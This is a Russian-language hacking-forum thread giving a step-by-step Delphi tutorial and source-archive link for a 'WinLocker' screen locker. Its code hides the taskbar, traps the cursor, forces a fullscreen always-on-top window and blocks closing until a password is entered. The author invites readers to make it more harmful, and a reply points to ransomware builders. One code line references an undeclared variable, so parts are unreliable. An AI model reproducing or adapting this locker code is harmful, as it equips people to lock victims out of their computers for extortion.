Загрузка...

Как создать простейший, но мощный WinLocker

Тема в разделе Вирусология создана пользователем POCTEXHAD3OP 22 сен 2020. 2463 просмотра

Загрузка...
  1. POCTEXHAD3OP
    POCTEXHAD3OP Автор темы 22 сен 2020 Социальная инженерия в действии 104 13 июл 2019
    Данная статья для тех, кто уже работал в среде Delphi, и знает, что, куды, чаво и как.
    Сразу хочу предупредить. Эту статью и WinLocker я писал ИСКЛЮЧИТЕЛЬНО САМ!!!!! Здесь копипаста точно нет. Однако, если Вы его найдёте, то скидываёте сайт. Я с радостью посмотрю, чем улучшить вирус!
    Приветствую всех. В данной статье речь пойдёт о том, как создать Winlocker на языке программирования Delphi. Сразу хочу предупредить, что данный вирус находится в безопасном состоянии, и не может нанести компьютеру реальный вред. И в этой статье я расскажу, как создать именно БЕЗОПАСНЫЙ вирус, который вы, конечно, можете превратить и во что-то более интересное:finger_up:
    Все действия я буду проводить в среде программирования Delphi Embarcadero. Итак, преступим.
    1. открываем Delphi, создаём новый проект, и начинаем кодить:finger_up:
    2. Наживаем F12 для того, чтобы перейти в код программы. Для начала, проверяем, что у нас находится в группе uses. Я советую заменить всё то вот на это:
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, StdCtrls, Registry, Vcl.ExtCtrls, Shellapi;
    3. Снова нажимаем F12, закидываем на форму
    12 TButton'ов, 1 TEdit и 3 TLabel'а, чтобы получилось вот так:
    [IMG]
    4. Сохраняем проект в папку, Делаем всё как на скриншоте выше. Т.е Называем 10 кнопок цифрами от 0 до 9, называем одну кнопку 'Разблокировать', выставляем рядом с TEdit. Можете написать в лабэлы всё, что хотите.
    5. Приступаем к самому вкусному—коду.
    Под словом переменные (Var) пишем вот это:
    H: THandle;
    w: integer;
    rec:TRect;

    Потом по очереди даблкликаем на кнопки с цифрами, и пишем в коде кнопок
    Edit1.text := Edit1.text + 'ЦЫФРА_КОТОРАЯ_НА_КНОПКЕ';
    Так делаем со всеми кнопками, на которых цифры.

    Сейчас нас интересует та кнопка, на которой нет цифры и будет отвечать за проверку пароля.
    Снова даблкликаем на неё, и в её коде пишем вот такую штуку:
    if Edit1.text = '9985' then // проверка пароля. Если введён пароль 9985, то
    Begin
    w := 1; //отключение 'замка' для программы
    H := FindWindow('Shell_TrayWnd', Nil); // показ панели задач
    ShowWindow(H, SW_SHOWNORMAL);
    Close; // закрытие программы
    End;
    if Edit1.text <> '9985' then
    Label3.Caption:='пароль неверен';
    ВНИМАНИЕ. ИМЕННО В ЭТОЙ процедуре задаётся пароль для разблокировки. В данном случае, пароль 9985. Для изменения пароля замените 9985 на свой пароль

    Написали? Отлично. Дальше.

    Переходим к форме программы(Где ещё кнопки).
    Тыкаем на СВОБОДНОЕ место на форме. Слева будет меню 'Object Inspector'. Тыкаем на вкладку 'Events', в левой колонке ищем функцию 'OnActivate', в правой колонке, напротив функции тыкаем на свободное место, и в коде процедуры пишем
    rec.Left:=form1.Left; //
    Rec.Right:=form1.Left+Form1.Width; //
    Rec.Top:=Form1.Top; // Запрет выхода указателя
    Rec.Bottom:=Form1.Height+Form1.Top; // за границы экрана
    ClipCursor(Rec_inactive231987); //

    with Form1 do
    begin
    BorderStyle:= bsNone;
    SetBounds(0, 0, Screen.Width, Screen.Height);
    end;

    Написали? Отлично. Дальше.

    Переходим к форме программы(Где ещё кнопки).
    Тыкаем на СВОБОДНОЕ место на форме. Слева будет меню 'Object Inspector'. Тыкаем на вкладку 'Events', в левой колонке ищем функцию 'OnCloseQuery', в правой колонке, напротив функции тыкаем на свободное место, и в коде процедуры пишем
    CanClose:=false; // запрет закрытия программы обычными средствами
    if w=1 then // если 'Замок' отключён
    CanClose:=true; // разрешение закрытие программы

    Написали? Отлично. Дальше.

    Переходим к форме программы(Где ещё кнопки).
    Тыкаем на СВОБОДНОЕ место на форме. Слева будет меню 'Object Inspector'. Тыкаем на вкладку 'Events', в левой колонке ищем функцию 'OnCreate', в правой колонке, напротив функции тыкаем на свободное место, и в коде процедуры пишем
    FormStyle := fsStayOnTop; // отображение вируса поверх других программ
    H := FindWindow('Shell_TrayWnd', Nil); //
    ShowWindow(H, SW_HIDE); // скрытие панели задач
    w:=0; //установка 'замка'

    Вот и всё. Вы написали свой винлокер.
    Для того, чтобы открыть код, вам нужно запустить файл 'Project1_10.dproj'. Готовый exe будет в папке '\Debug\Win32'
    Ниже будет ссылочка на ЯД, где вы сможете скачать исходник винлокера. Вот ссылка на яндекс диск
    Пароль от архива—'POCTEXHAD3OP'
     
  2. POCTEXHAD3OP
    POCTEXHAD3OP Автор темы 22 сен 2020 Социальная инженерия в действии 104 13 июл 2019
    Данная тема написана ИСКЛЮЧИТЕЛЬНО в образовательных целях. Я не несу ответственности за чьи-то подорванные пердаки и сломанные компутеры:finger_down:
     
  3. Painer1337
    Painer1337 4 окт 2020 Заблокирован(а) 39 8 сен 2020
    Гугл > Билдер ванна край
    Профит.
    Винлокеры юзать когда есть криптолокеры.
     
    1. POCTEXHAD3OP Автор темы
      Painer1337, Никто не запрещал. Лично я решил написать статью именно про него
  4. kouka
    а в чем измеряется мощность винлокера?
     
Top